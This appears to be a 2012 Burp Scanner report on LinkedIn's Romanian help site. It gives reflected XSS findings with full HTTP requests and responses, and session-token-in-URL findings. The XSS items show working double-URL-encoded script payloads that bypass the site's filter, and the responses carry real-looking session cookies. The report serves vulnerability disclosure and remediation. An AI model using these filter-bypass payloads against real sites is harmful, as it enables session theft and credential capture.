Report generated by Burp Scanner at Wed Aug 08 11:11:07 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, asistenta.linkedin.com

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1. Cross-site scripting (reflected)

1.1. https://asistenta.linkedin.com/app/lang/callback/appc7216%22%3e%3cscript%3ealert%281%29%3c%2fscript%3ebf34f55ca11/answers/detail/a_id/1364 [REST URL parameter 4]

1.2. https://asistenta.linkedin.com/app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c [REST URL parameter 4]

1.3. https://asistenta.linkedin.com/app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab16633%3cscript%3ealert%281%29%3c%2fscript%3e4e82637d4f9/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c [REST URL parameter 4]

2. Session token in URL

2.1. https://asistenta.linkedin.com/app/home

2.2. https://asistenta.linkedin.com/app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c

2.3. https://asistenta.linkedin.com/app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab16633%3cscript%3ealert%281%29%3c%2fscript%3e4e82637d4f9/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c

2.4. https://asistenta.linkedin.com/app/lang/callback/appc7216%22%3e%3cscript%3ealert%281%29%3c%2fscript%3ebf34f55ca11/answers/detail/a_id/1364

2.5. https://asistenta.linkedin.com/app/topics

3. Robots.txt file

4. SSL certificate



1. Cross-site scripting (reflected)  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://asistenta.linkedin.com/app/lang/callback/appc7216%22%3e%3cscript%3ealert%281%29%3c%2fscript%3ebf34f55ca11/answers/detail/a_id/1364 [REST URL parameter 4]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://asistenta.linkedin.com
Path:   /app/lang/callback/appc7216%22%3e%3cscript%3ealert%281%29%3c%2fscript%3ebf34f55ca11/answers/detail/a_id/1364

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8c2c7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb1f3799e651 was submitted in the REST URL parameter 4. This input was echoed as 8c2c7"><script>alert(1)</script>b1f3799e651 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /app/lang/callback/appc7216%22%3e%3cscript%3ealert%281%29%3c%2fscript%3ebf34f55ca118c2c7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb1f3799e651/answers/detail/a_id/1364 HTTP/1.1
Host: asistenta.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Date: Fri, 09 Dec 2011 05:08:50 GMT
Server: Apache
P3P: CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
Cache-Control: max-age=0
Expires: -1
Pragma: no-cache
Set-Cookie: cp_session=aUiQdPdoRhtl8U9fXcNk1sekQ_WJCJ1F3cYMwq1fkzhvK4znE3mFEbfUroiLgq_srWD6p6NZ8eHGQLWr1uW7NKjx%7EyaMVIAE_k1WjfZjwajzHGTtpJrfUfmwglRaP1vu9%7EBQTcnx6w4FC_sUDBBoMha%7E3pCEQex3qr63QC08IvBBmzyTcvZWjhvJ7t_mRjQnaJkYYy50o6Z0CwUjr9hyjuJCW0rg5401K1rvCLhCiQ1hrZVyTSClMICABn6w9aNEEfftINZJcMlVGpQ84JS_how5VIEGWriYIaLoItrsbl0_UDemLWK6eE4GDQrn5ZL6BH13mE8xj0hc2WiXcWQwCG2K72IbDgXS2FLORsaQxfi8Oy9cg2hK4Hv%7EHTWKrk1tCJTIT7eV9CLvvnn4Wp48jgLXmJTzo7_K1FA%7EVs_6QUuUJV%7EVaTLA7ix6jal82huQKKwjwemU5FqdI%21; path=/; secure; httponly
Content-Length: 23175
RNT-Time: D=815793 t=1323407330884075
RNT-Machine: 0.17
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ro-RO" xml:lang="ro-RO">
...[SNIP]...
<a href="https://help.linkedin.comappc7216&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;bf34f55ca118c2c7"><script>alert(1)</script>b1f3799e651">
...[SNIP]...

1.2. https://asistenta.linkedin.com/app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c [REST URL parameter 4]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://asistenta.linkedin.com
Path:   /app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7caf9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e293ab1ccddd was submitted in the REST URL parameter 4. This input was echoed as 7caf9"><script>alert(1)</script>293ab1ccddd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab7caf9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e293ab1ccddd/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c HTTP/1.1
Host: asistenta.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 302 Moved Temporarily
Date: Fri, 09 Dec 2011 08:44:22 GMT
Server: Apache
P3P: CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
Cache-Control: max-age=0
Expires: -1
Pragma: no-cache
Set-Cookie: cp_session=aUa5ZkQJtwVsTH4fReR6vlilavqnYYuOB2I5F0CLUW__lI_UtQqu5Btr48Z1CE_Gly7sOCq2gOAu9Ob_V6gXEXP4dIFf9RMKCSwbdSYL_g4dEA2B5a%7EWSbNo3alQluEaxyC87FLqMVqAsh2zgSdgqjDwpun6OH7TVEzgMqahJPvT_5DmYrNDwouyRn7MDWwWN9yV12VOuJcfWyRq0hD5scQFMjGtxGhkF7aO4TfrXUlQZ5YClXi0E1bY2EkqU_kF3m2Y6x1H6zlRIk3zaEHyu7iid%7EuUnDiIhfc7bPYzvDh%7E2kwU1%7ErV%7El%7E6HUYnETRExru4fEgHJPx9uMwMuQ63zkPdrxIGjnlcduOh66BHfrkiJ_3XFtPsJ7WVC2Lc55uBzKETti0RmYrlUI65wt15iK8E1JlGiq7DC8; path=/; secure; httponly
Set-Cookie: RNT_cks=a; path=/; domain=.linkedin.com
Location: https://asistenta.linkedin.com/app/lang/callback/app4e182&quot;&gt;&lt;script&gt;alert%281%29&lt;%2fscript&gt;306b3c872ab7caf9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e293ab1ccddd/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c
Content-Length: 25927
RNT-Time: D=992994 t=1323420262986341
RNT-Machine: 0.19
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ro-RO" xml:lang="ro-RO">
...[SNIP]...
<a href="https://help.linkedin.comapp4e182&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;306b3c872ab7caf9"><script>alert(1)</script>293ab1ccddd">
...[SNIP]...

1.3. https://asistenta.linkedin.com/app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab16633%3cscript%3ealert%281%29%3c%2fscript%3e4e82637d4f9/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c [REST URL parameter 4]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://asistenta.linkedin.com
Path:   /app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab16633%3cscript%3ealert%281%29%3c%2fscript%3e4e82637d4f9/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9bd2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb619c3f1863 was submitted in the REST URL parameter 4. This input was echoed as a9bd2"><script>alert(1)</script>b619c3f1863 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab16633%3cscript%3ealert%281%29%3c%2fscript%3e4e82637d4f9a9bd2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb619c3f1863/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c HTTP/1.1
Host: asistenta.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 302 Moved Temporarily
Date: Fri, 09 Dec 2011 08:44:28 GMT
Server: Apache
P3P: CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
Cache-Control: max-age=0
Expires: -1
Pragma: no-cache
Set-Cookie: cp_session=aU3oWXYGN3bAqYahXTTF65qgLykTdcstf3jTYbsSXFBzVNrnp7plfYnH5CLdjMZPxR1yquS4FvxOmFNgOYecYBINw3ltMwXrfY3moKpQ0xNm92eodZxWsWQapnPPabv4KJcGIZbeUxqF8L9hR53pzpqHjb5ESkJzZ7pnzXqmotqNP9HqBR_IZCh3NKQ%7EWc0DtPtiaL%7EM7GAcZqpHgc7odTvIz9_o3y5rUHNFgeq297uvw96QW5y%7EX97adKt2PDIVvAdKopF69Br0Jr5uC2Sdo5SH87ND4GWTiXgYs8FURC_b1yDtbl67CuaaTSr64idM8OiYWnwj_yLsUA92_odcoSZ5CVQ5zalz21plmqJ0XikjuH_8qrz6s5BP0RTg1A81MdrEzsijDNpIGndO7PNRLQvPq%7ECc9bUSXEX8Iu%7EDwC07GlO_P8d4Uf1rvHBqdHAnWc4bs7Grn8sib8uirlw%7E4zh3ll5YkHzSfKAENG0K9AQg24DEifNsgMKw%21%21; path=/; secure; httponly
Set-Cookie: RNT_cks=a; path=/; domain=.linkedin.com
Location: https://asistenta.linkedin.com/app/lang/callback/app4e182&quot;&gt;&lt;script&gt;alert%281%29&lt;%2fscript&gt;306b3c872ab16633&lt;script&gt;alert%281%29&lt;%2fscript&gt;4e82637d4f9a9bd2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb619c3f1863/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c
Content-Length: 28475
RNT-Time: D=708050 t=1323420268752875
RNT-Machine: 0.12
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ro-RO" xml:lang="ro-RO">
...[SNIP]...
<a href="https://help.linkedin.comapp4e182&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;306b3c872ab16633&lt;script&gt;alert(1)&lt;/script&gt;4e82637d4f9a9bd2"><script>alert(1)</script>b619c3f1863">
...[SNIP]...

2. Session token in URL  previous  next
There are 5 instances of this issue:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.


2.1. https://asistenta.linkedin.com/app/home  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://asistenta.linkedin.com
Path:   /app/home

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /app/home HTTP/1.1
Host: asistenta.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Date: Fri, 09 Dec 2011 03:50:37 GMT
Server: Apache
P3P: CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
Cache-Control: max-age=0
Expires: -1
Pragma: no-cache
Set-Cookie: cp_session=aUR0AYASB1EUN8O_PwYRk3BFgeeH9adxJssrmH02GA6henpaX4fliAWl8g7gLIMxUL8LUePZD83oDd4Ls0mHp%7Eron3lnj9kHNkmhGrQrlgFx%7EW36woaip3UFAspvg6jlFO6A1GSLOwvsm0tVVLm%7EXXPhO_EnsAzu6p; path=/; secure; httponly
Set-Cookie: RNT_cks=a; path=/; domain=.linkedin.com
Location: https://asistenta.linkedin.com/app/home/h/c
Content-Length: 21620
RNT-Time: D=738384 t=1323402637621666
RNT-Machine: 0.14
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ro-RO" xml:lang="ro-RO">
...[SNIP]...
<li class="tab">
                                                   <a class="signin" href="https://www.linkedin.com/uas/login?session_redirect=https%3A%2F%2Fasistenta.linkedin.com%2Fapp%2Fhome%2Freauth%2Ftrue">Intra..i ..n cont</a>
...[SNIP]...

2.2. https://asistenta.linkedin.com/app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://asistenta.linkedin.com
Path:   /app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c HTTP/1.1
Host: asistenta.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Date: Fri, 09 Dec 2011 06:45:16 GMT
Server: Apache
P3P: CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
Cache-Control: max-age=0
Expires: -1
Pragma: no-cache
Set-Cookie: cp_session=aUw1WqBRZlk5fHl8p_3SPqcPEJyB7gw1fcoxye4AT59lp2HMgmFjpRGV_MV_3jJW1Q61bygibOKQpRnv5uv_MtN8MTKzwtZWeoVJYmuHvopxcxNHoGiQTgOBmZmhwKuh%7EdQxaC0%7Ef1WnNkrqAW_L12CtlPBzA2opG77nftqmVUDxplTkbJL805%7Eme%7EAv_YyOJWjVKlV6BnXtwuK0fRelHpKqIT8nAZFnCAu_roxEYTZlnjFc%7E9JnzNfoow6gAk_lH%7E%7Er26LBvfPcUFVaNzATeElYDV7O2pSX8NMae8bgHqP1Kki_uUq%7EqVhw%21%21; path=/; secure; httponly
Set-Cookie: RNT_cks=a; path=/; domain=.linkedin.com
Location: https://asistenta.linkedin.com/app/lang/callback/app4e182&quot;&gt;&lt;script&gt;alert%281%29&lt;%2fscript&gt;306b3c872ab/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c
Content-Length: 21567
RNT-Time: D=934150 t=1323413116623047
RNT-Machine: 0.11
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ro-RO" xml:lang="ro-RO">
...[SNIP]...
<li class="tab">
                                                   <a class="signin" href="https://www.linkedin.com/uas/login?session_redirect=https%3A%2F%2Fasistenta.linkedin.com%2Fapp%2Flang%2Fcallback%2Fapp4e182%26quot%3B%26gt%3B%26lt%3Bscript%26gt%3Balert%25281%2529%26lt%3B%252fscript%26gt%3B306b3c872ab%2Fhome%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Freauth%2Ftrue">Intra..i ..n cont</a>
...[SNIP]...

2.3. https://asistenta.linkedin.com/app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab16633%3cscript%3ealert%281%29%3c%2fscript%3e4e82637d4f9/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://asistenta.linkedin.com
Path:   /app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab16633%3cscript%3ealert%281%29%3c%2fscript%3e4e82637d4f9/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /app/lang/callback/app4e182%22%3e%3cscript%3ealert%281%29%3c%2fscript%3e306b3c872ab16633%3cscript%3ealert%281%29%3c%2fscript%3e4e82637d4f9/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c HTTP/1.1
Host: asistenta.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Date: Fri, 09 Dec 2011 06:45:17 GMT
Server: Apache
P3P: CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
Cache-Control: max-age=0
Expires: -1
Pragma: no-cache
Set-Cookie: cp_session=aUeOiqSV4_7_dbULi7FHcOSfcpgtJwZCknlecBiFIHbHtpOiu2fnkGY1b95EMk%7EvIcjtg0m%7EhFb4_FDfrfs9NWSfRlgStp9eERskIRjqlMGn9mPEbx8JnMLTKRDjR1DeAN7eFvir0OuNGXPJo_eHBe96WgU36A5j7iz%7EjLOiI%7E1I9JGcip5VrPXvmO1%7EYDs2T4FXu0Zlysb_0v3wEcSkQMWvXXP_lzRMS_IULQWqDedRs0%7ETp%7EwueJ60z8fbU3Am1DgpbO5jwIoVLfFpd1E2v522iGrv9tH8YtFwrkZpAgBeyKDMPLuQb8z53DzJX9MoJnNeP%7E1AsaAGL2XcyzxGNebRLLEIdIojUozE84VA%7EY6RFAKZaWlBcy0PRPePQY4SFiAU04jZH6pqk%21; path=/; secure; httponly
Set-Cookie: RNT_cks=a; path=/; domain=.linkedin.com
Location: https://asistenta.linkedin.com/app/lang/callback/app4e182&quot;&gt;&lt;script&gt;alert%281%29&lt;%2fscript&gt;306b3c872ab16633&lt;script&gt;alert%281%29&lt;%2fscript&gt;4e82637d4f9/home/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c/h/c
Content-Length: 24114
RNT-Time: D=740521 t=1323413117921307
RNT-Machine: 0.13
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ro-RO" xml:lang="ro-RO">
...[SNIP]...
<li class="tab">
                                                   <a class="signin" href="https://www.linkedin.com/uas/login?session_redirect=https%3A%2F%2Fasistenta.linkedin.com%2Fapp%2Flang%2Fcallback%2Fapp4e182%26quot%3B%26gt%3B%26lt%3Bscript%26gt%3Balert%25281%2529%26lt%3B%252fscript%26gt%3B306b3c872ab16633%26lt%3Bscript%26gt%3Balert%25281%2529%26lt%3B%252fscript%26gt%3B4e82637d4f9%2Fhome%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Fh%2Fc%2Freauth%2Ftrue">Intra..i ..n cont</a>
...[SNIP]...

2.4. https://asistenta.linkedin.com/app/lang/callback/appc7216%22%3e%3cscript%3ealert%281%29%3c%2fscript%3ebf34f55ca11/answers/detail/a_id/1364  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://asistenta.linkedin.com
Path:   /app/lang/callback/appc7216%22%3e%3cscript%3ealert%281%29%3c%2fscript%3ebf34f55ca11/answers/detail/a_id/1364

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /app/lang/callback/appc7216%22%3e%3cscript%3ealert%281%29%3c%2fscript%3ebf34f55ca11/answers/detail/a_id/1364 HTTP/1.1
Host: asistenta.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Date: Fri, 09 Dec 2011 05:06:55 GMT
Server: Apache
P3P: CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
Cache-Control: max-age=0
Expires: -1
Pragma: no-cache
Set-Cookie: cp_session=aUJUq%7EukWgtKz7IDUU3a5cyK9peh34f9V1svT0L_WlixnxinJFshfBmlwI7GJNnOdnX_wYSM9nizdTgtSh_oC6X0UpvRu%7E00yMpbEevnpO6S__m6QIgXFu_UjNOL8t4b_hk7Z2c6EGiyCmnotmrb7MUXxJQTCrZQKJwftuo0YtO7iRlCCxFuLhCzmt_gqqtMUa%7E%7EKGHk8CRz1yUlXd7t3bLYzZ2PvEdM_VTCFZxa7ZWaaRgXTi47w3px0gZzv208MJiTWOda4I1KL4k%7EtZvSBUQDNcPWo91P7KnS1raITojFznS0TXDlZvtvbnQgR76_t4tCdIjO9UB2Py9OLuQglp5w8nb34yauYC; path=/; secure; httponly
Set-Cookie: RNT_cks=a; path=/; domain=.linkedin.com
Location: https://asistenta.linkedin.com/app/lang/callback/appc7216&quot;&gt;&lt;script&gt;alert%281%29&lt;%2fscript&gt;bf34f55ca11/answers/detail/a_id/1364/h/c
Content-Length: 20038
RNT-Time: D=936083 t=1323407215275987
RNT-Machine: 0.18
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ro-RO" xml:lang="ro-RO">
...[SNIP]...
<li class="tab">
                                                   <a class="signin" href="https://www.linkedin.com/uas/login?session_redirect=https%3A%2F%2Fasistenta.linkedin.com%2Fapp%2Flang%2Fcallback%2Fappc7216%26quot%3B%26gt%3B%26lt%3Bscript%26gt%3Balert%25281%2529%26lt%3B%252fscript%26gt%3Bbf34f55ca11%2Fanswers%2Fdetail%2Fa_id%2F1364%2Freauth%2Ftrue">Intra..i ..n cont</a>
...[SNIP]...

2.5. https://asistenta.linkedin.com/app/topics  previous

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://asistenta.linkedin.com
Path:   /app/topics

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /app/topics HTTP/1.1
Host: asistenta.linkedin.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Date: Fri, 09 Dec 2011 05:06:55 GMT
Server: Apache
P3P: CP="CAO CURa ADMa DEVa OUR BUS IND UNI COM NAV"
Cache-Control: max-age=0
Expires: -1
Pragma: no-cache
Set-Cookie: cp_session=aUYHL82ZNOvh5x6SE_wL429cXQcC7PowS6u2dz%7ENDVYJsV_94jFywOi_EShFoKFMfUs9jn3_dwlFVJySu1K9B0h3_1iVMe2WHtIXUGmxkvFuZBQyeQdz4N%7E27iGqWEKVXMOjifYc0Jv%7E9VZ5zwOIO1%7E7FtdqtlFN4c; path=/; secure; httponly
Set-Cookie: RNT_cks=a; path=/; domain=.linkedin.com
Location: https://asistenta.linkedin.com/app/topics/h/c
Content-Length: 23070
RNT-Time: D=1034453 t=1323407215201943
RNT-Machine: 0.13
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="ro-RO" xml:lang="ro-RO">
...[SNIP]...
<li class="tab">
                                                   <a class="signin" href="https://www.linkedin.com/uas/login?session_redirect=https%3A%2F%2Fasistenta.linkedin.com%2Fapp%2Ftopics%2Freauth%2Ftrue">Intra..i ..n cont</a>
...[SNIP]...

3. Robots.txt file  previous  next

Summary

Severity:   Information
